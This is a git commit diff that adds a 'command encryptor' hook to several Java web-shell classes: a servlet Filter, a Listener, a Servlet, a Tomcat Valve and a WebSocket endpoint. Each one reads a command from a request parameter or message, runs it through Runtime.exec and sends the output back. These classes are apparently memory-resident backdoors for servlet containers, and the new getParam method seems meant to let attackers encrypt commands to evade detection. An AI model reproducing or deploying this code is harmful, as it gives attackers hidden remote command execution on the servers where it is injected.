feat: support command encryptor

This commit is contained in:
ReaJason
2025-04-28 00:48:39 +08:00
parent 28098d12b6
commit 6fa58e823d
26 changed files with 456 additions and 187 deletions
@@ -18,11 +18,15 @@ public class CommandFilter implements Filter {
}
public String getParam(String param) {
return param;
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getParameter(paramName);
String cmd = getParam(servletRequest.getParameter(paramName));
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
@@ -21,11 +21,15 @@ public class CommandListener implements ServletRequestListener {
}
public String getParam(String param) {
return param;
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getParameter(paramName);
String cmd = getParam(request.getParameter(paramName));
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
@@ -20,9 +20,13 @@ public class CommandServlet extends HttpServlet {
doPost(req, resp);
}
public String getParam(String param) {
return param;
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter(paramName);
String cmd = getParam(request.getParameter(paramName));
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
@@ -39,9 +39,13 @@ public class CommandValve implements Valve {
public void backgroundProcess() {
}
public String getParam(String param) {
return param;
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter(paramName);
String cmd = getParam(request.getParameter(paramName));
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
@@ -4,6 +4,7 @@ import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
/**
@@ -16,25 +17,22 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
private Session session;
private String getParam(String param) {
return param;
}
@Override
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
} else {
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s});
Process exec = Runtime.getRuntime().exec(getParam(s));
InputStream inputStream = exec.getInputStream();
byte[] buf = new byte[8192];
int length;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1) {
stringBuilder.append((char) i);
}
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
session.getBasicRemote().sendText(outputStream.toString());
} catch (Exception e) {
e.printStackTrace();
}